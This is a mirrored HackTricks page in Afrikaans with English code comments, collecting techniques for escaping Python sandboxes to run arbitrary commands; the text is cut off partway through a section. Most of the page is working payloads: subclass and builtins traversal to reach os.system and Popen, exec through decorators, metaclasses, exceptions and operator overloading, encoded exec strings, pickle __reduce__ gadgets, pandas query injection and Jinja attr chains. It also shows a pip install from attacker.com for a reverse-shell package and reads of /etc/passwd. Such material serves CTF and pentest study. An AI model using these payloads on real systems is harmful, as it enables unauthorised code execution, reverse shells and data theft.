mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1059 lines
60 KiB
Markdown
1059 lines
60 KiB
Markdown
# Bypass Python sandboxes
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
|
|
|
|
## Command Execution Libraries
|
|
|
|
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds geïmporteerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
|
|
```python
|
|
os.system("ls")
|
|
os.popen("ls").read()
|
|
commands.getstatusoutput("ls")
|
|
commands.getoutput("ls")
|
|
commands.getstatus("file/path")
|
|
subprocess.call("ls", shell=True)
|
|
subprocess.Popen("ls", shell=True)
|
|
pty.spawn("ls")
|
|
pty.spawn("/bin/bash")
|
|
platform.os.system("ls")
|
|
pdb.os.system("ls")
|
|
|
|
#Import functions to execute commands
|
|
importlib.import_module("os").system("ls")
|
|
importlib.__import__("os").system("ls")
|
|
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
|
|
imp.os.system("ls")
|
|
imp.sys.modules["os"].system("ls")
|
|
sys.modules["os"].system("ls")
|
|
__import__("os").system("ls")
|
|
import os
|
|
from os import *
|
|
|
|
#Other interesting functions
|
|
open("/etc/passwd").read()
|
|
open('/var/www/html/input', 'w').write('123')
|
|
|
|
#In Python2.7
|
|
execfile('/usr/lib/python2.7/os.py')
|
|
system('ls')
|
|
```
|
|
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
|
|
|
> [!CAUTION] > **Python2 input()** funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
|
|
|
|
Python probeer om **biblioteke van die huidige gids eerste** te **laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
|
|
|
.png>)
|
|
|
|
## Omseil pickle sandbox met die standaard geïnstalleerde python pakkette
|
|
|
|
### Standaard pakkette
|
|
|
|
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
|
Let daarop dat jy vanaf 'n pickle die python omgewing kan **importeer arbitrêre biblioteke** wat in die stelsel geïnstalleer is.\
|
|
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek importeer om dit te gebruik:
|
|
```python
|
|
#Note that here we are importing the pip library so the pickle is created correctly
|
|
#however, the victim doesn't even need to have the library installed to execute it
|
|
#the library is going to be loaded automatically
|
|
|
|
import pickle, os, base64, pip
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (pip.main,(["list"],))
|
|
|
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|
```
|
|
Vir meer inligting oor hoe pickle werk, kyk hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
|
|
|
### Pip-pakket
|
|
|
|
Truk gedeel deur **@isHaacK**
|
|
|
|
As jy toegang het tot `pip` of `pip.main()` kan jy 'n arbitrêre pakket installeer en 'n omgekeerde shell verkry deur te bel:
|
|
```bash
|
|
pip install http://attacker.com/Rerverse.tar.gz
|
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
|
```
|
|
U kan die pakket aflaai om die omgekeerde skulp hier te skep. Let asseblief daarop dat u dit moet **dekomprimeer, die `setup.py` moet verander, en u IP vir die omgekeerde skulp moet invoer**:
|
|
|
|
{{#file}}
|
|
Reverse.tar (1).gz
|
|
{{#endfile}}
|
|
|
|
> [!NOTE]
|
|
> Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal ontwerp sodat wanneer u die omgekeerde skulp verlaat, die res van die installasie sal misluk, sodat u **nie enige ekstra python pakket op die bediener sal agterlaat** wanneer u vertrek nie.
|
|
|
|
## Eval-ing python kode
|
|
|
|
> [!WARNING]
|
|
> Let daarop dat exec meerlyn strings en ";", maar eval nie toelaat nie (kyk walrus operator)
|
|
|
|
As sekere karakters verbode is, kan u die **hex/octal/B64** voorstelling gebruik om die beperking te **bypass**:
|
|
```python
|
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
|
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
|
|
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
|
|
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
|
|
#One liners that allow new lines and tabs
|
|
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
|
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
|
```
|
|
|
|
```python
|
|
#Octal
|
|
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
|
|
#Hex
|
|
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
|
|
#Base64
|
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
|
```
|
|
### Ander biblioteke wat toelaat om python kode te evaluer
|
|
```python
|
|
#Pandas
|
|
import pandas as pd
|
|
df = pd.read_csv("currency-rates.csv")
|
|
df.query('@__builtins__.__import__("os").system("ls")')
|
|
df.query("@pd.io.common.os.popen('ls').read()")
|
|
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|
|
|
# The previous options work but others you might try give the error:
|
|
# Only named functions are supported
|
|
# Like:
|
|
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
|
```
|
|
## Operateurs en kort truuks
|
|
```python
|
|
# walrus operator allows generating variable inside a list
|
|
## everything will be executed in order
|
|
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
|
|
[a:=21,a*2]
|
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
|
```
|
|
## Om beskermingsmaatreëls te omseil deur kodering (UTF-7)
|
|
|
|
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n blykbare sandbox te laai en uit te voer:
|
|
```python
|
|
assert b"+AAo-".decode("utf_7") == "\n"
|
|
|
|
payload = """
|
|
# -*- coding: utf_7 -*-
|
|
def f(x):
|
|
return x
|
|
#+AAo-print(open("/flag.txt").read())
|
|
""".lstrip()
|
|
```
|
|
Dit is ook moontlik om dit te omseil met ander kodering, bv. `raw_unicode_escape` en `unicode_escape`.
|
|
|
|
## Python uitvoering sonder oproepe
|
|
|
|
As jy binne 'n python tronk is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitraire funksies, kode** en **opdragte** te **uitvoer**.
|
|
|
|
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
|
```python
|
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
|
@exec
|
|
@input
|
|
class X:
|
|
pass
|
|
|
|
# The previous code is equivalent to:
|
|
class X:
|
|
pass
|
|
X = input(X)
|
|
X = exec(X)
|
|
|
|
# So just send your python code when prompted and it will be executed
|
|
|
|
|
|
# Another approach without calling input:
|
|
@eval
|
|
@'__import__("os").system("sh")'.format
|
|
class _:pass
|
|
```
|
|
### RCE die skep van voorwerpe en oorlaai
|
|
|
|
As jy 'n **klas kan verklaar** en 'n **voorwerp van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorlaai** wat **geaktiveer** kan word **sonder** om hulle direk te noem.
|
|
|
|
#### RCE met pasgemaakte klasse
|
|
|
|
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk te noem.
|
|
```python
|
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
|
class RCE:
|
|
def __init__(self):
|
|
self += "print('Hello from __init__ + __iadd__')"
|
|
__iadd__ = exec #Triggered when object is created
|
|
def __del__(self):
|
|
self -= "print('Hello from __del__ + __isub__')"
|
|
__isub__ = exec #Triggered when object is created
|
|
__getitem__ = exec #Trigerred with obj[<argument>]
|
|
__add__ = exec #Triggered with obj + <argument>
|
|
|
|
# These lines abuse directly the previous class to get RCE
|
|
rce = RCE() #Later we will see how to create objects without calling the constructor
|
|
rce["print('Hello from __getitem__')"]
|
|
rce + "print('Hello from __add__')"
|
|
del rce
|
|
|
|
# These lines will get RCE when the program is over (exit)
|
|
sys.modules["pwnd"] = RCE()
|
|
exit()
|
|
|
|
# Other functions to overwrite
|
|
__sub__ (k - 'import os; os.system("sh")')
|
|
__mul__ (k * 'import os; os.system("sh")')
|
|
__floordiv__ (k // 'import os; os.system("sh")')
|
|
__truediv__ (k / 'import os; os.system("sh")')
|
|
__mod__ (k % 'import os; os.system("sh")')
|
|
__pow__ (k**'import os; os.system("sh")')
|
|
__lt__ (k < 'import os; os.system("sh")')
|
|
__le__ (k <= 'import os; os.system("sh")')
|
|
__eq__ (k == 'import os; os.system("sh")')
|
|
__ne__ (k != 'import os; os.system("sh")')
|
|
__ge__ (k >= 'import os; os.system("sh")')
|
|
__gt__ (k > 'import os; os.system("sh")')
|
|
__iadd__ (k += 'import os; os.system("sh")')
|
|
__isub__ (k -= 'import os; os.system("sh")')
|
|
__imul__ (k *= 'import os; os.system("sh")')
|
|
__ifloordiv__ (k //= 'import os; os.system("sh")')
|
|
__idiv__ (k /= 'import os; os.system("sh")')
|
|
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
|
|
__imod__ (k %= 'import os; os.system("sh")')
|
|
__ipow__ (k **= 'import os; os.system("sh")')
|
|
__ilshift__ (k<<= 'import os; os.system("sh")')
|
|
__irshift__ (k >>= 'import os; os.system("sh")')
|
|
__iand__ (k = 'import os; os.system("sh")')
|
|
__ior__ (k |= 'import os; os.system("sh")')
|
|
__ixor__ (k ^= 'import os; os.system("sh")')
|
|
```
|
|
#### Skep voorwerpe met [metaklasse](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
|
|
|
Die belangrikste ding wat metaklasse ons toelaat om te doen, is **om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep**, deur 'n nuwe klas te skep met die teikenkas as 'n metaklasse.
|
|
```python
|
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
|
# This will define the members of the "subclass"
|
|
class Metaclass(type):
|
|
__getitem__ = exec # So Sub[string] will execute exec(string)
|
|
# Note: Metaclass.__class__ == type
|
|
|
|
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
|
|
pass # Nothing special to do
|
|
|
|
Sub['import os; os.system("sh")']
|
|
|
|
## You can also use the tricks from the previous section to get RCE with this object
|
|
```
|
|
#### Skep voorwerpe met uitsonderings
|
|
|
|
Wanneer 'n **uitsondering geaktiveer** word, word 'n voorwerp van die **Uitsondering** **gecreëer** sonder dat jy die konstruktors direk hoef aan te roep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
|
```python
|
|
class RCE(Exception):
|
|
def __init__(self):
|
|
self += 'import os; os.system("sh")'
|
|
__iadd__ = exec #Triggered when object is created
|
|
raise RCE #Generate RCE object
|
|
|
|
|
|
# RCE with __add__ overloading and try/except + raise generated object
|
|
class Klecko(Exception):
|
|
__add__ = exec
|
|
|
|
try:
|
|
raise Klecko
|
|
except Klecko as k:
|
|
k + 'import os; os.system("sh")' #RCE abusing __add__
|
|
|
|
## You can also use the tricks from the previous section to get RCE with this object
|
|
```
|
|
### Meer RCE
|
|
```python
|
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
|
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
|
class X:
|
|
def __init__(self, a, b, c):
|
|
self += "os.system('sh')"
|
|
__iadd__ = exec
|
|
sys.excepthook = X
|
|
1/0 #Trigger it
|
|
|
|
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
|
|
# The interpreter will try to import an apt-specific module to potentially
|
|
# report an error in ubuntu-provided modules.
|
|
# Therefore the __import__ functions are overwritten with our RCE
|
|
class X():
|
|
def __init__(self, a, b, c, d, e):
|
|
self += "print(open('flag').read())"
|
|
__iadd__ = eval
|
|
__builtins__.__import__ = X
|
|
{}[1337]
|
|
```
|
|
### Lees lêer met ingeboude hulp & lisensie
|
|
```python
|
|
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
|
a = __builtins__.help
|
|
a.__class__.__enter__ = __builtins__.__dict__["license"]
|
|
a.__class__.__exit__ = lambda self, *args: None
|
|
with (a as b):
|
|
pass
|
|
```
|
|
## Builtins
|
|
|
|
- [**Builtins funksies van python2**](https://docs.python.org/2/library/functions.html)
|
|
- [**Builtins funksies van python3**](https://docs.python.org/3/library/functions.html)
|
|
|
|
As jy toegang kan kry tot die **`__builtins__`** objek kan jy biblioteke invoer (let op dat jy ook ander string voorstelling hier kon gebruik soos in die laaste afdeling gewys):
|
|
```python
|
|
__builtins__.__import__("os").system("ls")
|
|
__builtins__.__dict__['__import__']("os").system("ls")
|
|
```
|
|
### Geen Builtins
|
|
|
|
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
|
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksies binne-in hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
|
|
|
In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne-in hulle.
|
|
|
|
**Python2**
|
|
```python
|
|
#Try to reload __builtins__
|
|
reload(__builtins__)
|
|
import __builtin__
|
|
|
|
# Read recovering <type 'file'> in offset 40
|
|
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
|
|
# Write recovering <type 'file'> in offset 40
|
|
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
|
|
|
|
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
|
|
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
|
|
# Execute (another method)
|
|
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
|
|
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
|
|
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
|
|
|
|
# Or you could obtain the builtins from a defined function
|
|
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
|
```
|
|
#### Python3
|
|
```python
|
|
# Obtain builtins from a globally defined function
|
|
# https://docs.python.org/3/library/functions.html
|
|
help.__call__.__builtins__ # or __globals__
|
|
license.__call__.__builtins__ # or __globals__
|
|
credits.__call__.__builtins__ # or __globals__
|
|
print.__self__
|
|
dir.__self__
|
|
globals.__self__
|
|
len.__self__
|
|
__build_class__.__self__
|
|
|
|
# Obtain the builtins from a defined function
|
|
get_flag.__globals__['__builtins__']
|
|
|
|
# Get builtins from loaded classes
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
|
```
|
|
[**Hieronder is daar 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
|
|
|
|
#### Python2 en Python3
|
|
```python
|
|
# Recover __builtins__ and make everything easier
|
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
|
__builtins__["__import__"]('os').system('ls')
|
|
```
|
|
### Ingeboude payloads
|
|
```python
|
|
# Possible payloads once you have found the builtins
|
|
__builtins__["open"]("/etc/passwd").read()
|
|
__builtins__["__import__"]("os").system("ls")
|
|
# There are lots of other payloads that can be abused to execute commands
|
|
# See them below
|
|
```
|
|
## Globals en locals
|
|
|
|
Om die **`globals`** en **`locals`** te kontroleer is 'n goeie manier om te weet wat jy kan toegang.
|
|
```python
|
|
>>> globals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
>>> locals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
|
|
# Obtain globals from a defined function
|
|
get_flag.__globals__
|
|
|
|
# Obtain globals from an object of a class
|
|
class_obj.__init__.__globals__
|
|
|
|
# Obtaining globals directly from loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
|
[<class 'function'>]
|
|
|
|
# Obtaining globals from __init__ of loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
# Without the use of the dir() function
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
```
|
|
[**Hieronder is daar 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
|
|
|
|
## Ontdek Arbitrêre Uitvoering
|
|
|
|
Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek en meer betroubare exploits voor te stel.
|
|
|
|
#### Toegang tot subklasse met omseilings
|
|
|
|
Een van die sensitiefste dele van hierdie tegniek is om in staat te wees om die **basis subklasse** te **toegang**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
|
|
```python
|
|
#You can access the base from mostly anywhere (in regular conditions)
|
|
"".__class__.__base__.__subclasses__()
|
|
[].__class__.__base__.__subclasses__()
|
|
{}.__class__.__base__.__subclasses__()
|
|
().__class__.__base__.__subclasses__()
|
|
(1).__class__.__base__.__subclasses__()
|
|
bool.__class__.__base__.__subclasses__()
|
|
print.__class__.__base__.__subclasses__()
|
|
open.__class__.__base__.__subclasses__()
|
|
defined_func.__class__.__base__.__subclasses__()
|
|
|
|
#You can also access it without "__base__" or "__class__"
|
|
# You can apply the previous technique also here
|
|
"".__class__.__bases__[0].__subclasses__()
|
|
"".__class__.__mro__[1].__subclasses__()
|
|
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
|
"".__getattribute__("__class__").__base__.__subclasses__()
|
|
|
|
# This can be useful in case it is not possible to make calls (therefore using decorators)
|
|
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
|
|
|
|
#If attr is present you can access everything as a string
|
|
# This is common in Django (and Jinja) environments
|
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
|
```
|
|
### Vind gevaarlike biblioteke wat gelaai is
|
|
|
|
Byvoorbeeld, as jy weet dat dit met die biblioteek **`sys`** moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne-in hulle geïmporteer het**:
|
|
```python
|
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
|
```
|
|
Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
|
|
```python
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
```
|
|
Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte** uit te voer:
|
|
```python
|
|
#os
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
|
|
|
#subprocess
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
|
|
|
#builtins
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
|
|
|
#sys
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
